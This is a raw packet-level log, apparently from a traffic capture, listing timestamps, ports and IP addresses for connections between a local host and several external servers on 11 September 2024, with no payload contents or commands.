Sep 11, 2024 16:22:09.058532953 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.061342955 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.061357975 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.089121103 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:09.675087929 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.675165892 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.679723978 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.679749966 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.679982901 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.729640961 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.739248991 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.783407927 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.908651114 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.908715010 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.908757925 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.911222935 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.911241055 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.911257982 CEST	49732	443	192.168.2.4	104.237.62.213
Sep 11, 2024 16:22:09.911264896 CEST	443	49732	104.237.62.213	192.168.2.4
Sep 11, 2024 16:22:09.922393084 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:09.922435045 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:09.922508001 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:09.922799110 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:09.922816038 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.402287006 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.402360916 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.405561924 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.405582905 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.405826092 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.407320023 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.451406002 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.538392067 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.539417028 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.539470911 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.539611101 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.539628983 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:10.539644003 CEST	49733	443	192.168.2.4	34.117.59.81
Sep 11, 2024 16:22:10.539650917 CEST	443	49733	34.117.59.81	192.168.2.4
Sep 11, 2024 16:22:13.225965023 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:13.225986004 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:13.230778933 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:13.230998993 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:14.336858988 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:14.385947943 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:14.508450985 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:14.508485079 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:14.513418913 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:14.513823986 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:15.533333063 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:15.533386946 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:15.533402920 CEST	80	49731	45.91.200.135	192.168.2.4
Sep 11, 2024 16:22:15.533512115 CEST	49731	80	192.168.2.4	45.91.200.135
Sep 11, 2024 16:22:15.664015055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.664127111 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.665184021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:15.665210009 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:15.665703058 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:15.669032097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:15.669126987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.669236898 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:15.669305086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.669332981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.669492006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:15.670037985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:15.670053005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:15.670135021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:15.670183897 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:15.670567036 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:15.670638084 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:15.671778917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:15.671917915 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:15.671991110 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:15.674451113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:15.674601078 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:15.676629066 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:15.676866055 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:15.676903009 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:15.685250998 CEST	49739	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:15.690176010 CEST	80	49739	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:15.690269947 CEST	49739	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:15.691004992 CEST	49739	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:15.695791006 CEST	80	49739	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:15.844973087 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.844988108 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.849975109 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:15.850081921 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:15.850187063 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.850193024 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.850433111 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.850542068 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:15.855652094 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:15.855681896 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.148453951 CEST	80	49739	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.148658037 CEST	49739	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.148658037 CEST	49739	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.150043011 CEST	49742	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.153711081 CEST	80	49739	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.155081034 CEST	80	49742	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.155152082 CEST	49742	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.156584024 CEST	49742	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.161581993 CEST	80	49742	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.291013002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.291091919 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.291605949 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.297075987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.318893909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.318948984 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.319350004 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.324147940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.364310026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.364413023 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.364809036 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.368020058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.368072033 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.369651079 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.372277021 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.377095938 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.474098921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.474178076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.474251032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.474309921 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.474675894 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:16.474885941 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.479465961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:16.479671955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.507102966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.507253885 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.507708073 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.507899046 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.507951975 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.507977962 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.507986069 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508035898 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.508035898 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.508044004 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508085012 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.508357048 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508367062 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508377075 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508394957 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508404970 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508409977 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.508416891 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.508450031 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.508491039 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509170055 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509201050 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509601116 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.509607077 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509674072 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509821892 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.509833097 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.509843111 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.509867907 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509911060 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509963989 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.509989023 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.510160923 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510171890 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510183096 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510200024 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510207891 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.510212898 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510225058 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.510248899 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.510279894 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.510279894 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.510420084 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.512514114 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.512866974 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.512881994 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.512912989 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.512944937 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514187098 CEST	80	49740	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.514235973 CEST	49740	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514417887 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.514487028 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514667034 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.514678955 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.514713049 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514766932 CEST	80	49741	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.514792919 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514805079 CEST	49741	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.514879942 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.515198946 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.515254021 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.515465021 CEST	49744	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:16.519859076 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.520390034 CEST	80	49744	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:16.583858013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.583884954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.583898067 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.583909988 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.583923101 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584093094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584098101 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584098101 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584161043 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584162951 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584173918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584192038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584243059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584243059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584266901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584302902 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.584383011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.584424973 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.589018106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.589030027 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.589041948 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.589170933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.589175940 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.589374065 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.592061043 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592122078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592133045 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.592174053 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.592191935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592204094 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592216015 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592227936 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592233896 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.592262030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592267036 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.592273951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592287064 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592298985 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592310905 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.592324972 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.592353106 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.597542048 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.597554922 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.597640038 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.646217108 CEST	80	49742	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.646446943 CEST	49742	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.646446943 CEST	49742	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.646908045 CEST	49745	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.651329994 CEST	80	49742	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.651717901 CEST	80	49745	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.651798010 CEST	49745	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.651880026 CEST	49745	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.652741909 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.652836084 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.652918100 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.653224945 CEST	49746	443	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.653269053 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.656971931 CEST	80	49745	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:16.657056093 CEST	49745	80	192.168.2.4	76.76.21.61
Sep 11, 2024 16:22:16.657201052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.657263041 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.657448053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.662242889 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.696120977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.696520090 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.696913958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:16.702325106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:16.710413933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710433960 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710445881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710458994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710470915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710478067 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.710481882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710642099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.710642099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.710740089 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710750103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710761070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710788965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.710803032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710814953 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.710836887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.711433887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.711456060 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711467028 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711479902 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711534977 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.711534977 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.711695910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711707115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711719036 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.711743116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712429047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712440968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712452888 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712480068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712480068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712551117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712590933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712590933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712769032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712779999 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712790966 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712825060 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712873936 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.712898970 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712910891 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:16.712949991 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:16.719026089 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719038010 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719048977 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719090939 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.719115973 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.719274044 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719285011 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719295025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719312906 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719326019 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719330072 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.719336987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719353914 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719364882 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.719372988 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.719408035 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720222950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720233917 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720244884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720280886 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720305920 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720680952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720693111 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720702887 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720736027 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720777988 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720930099 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720978975 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.720985889 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.720998049 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.721043110 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.721070051 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:16.721574068 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.721585035 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:16.721597910 CEST	80	49738	176.113.115.187	192.168.2.4
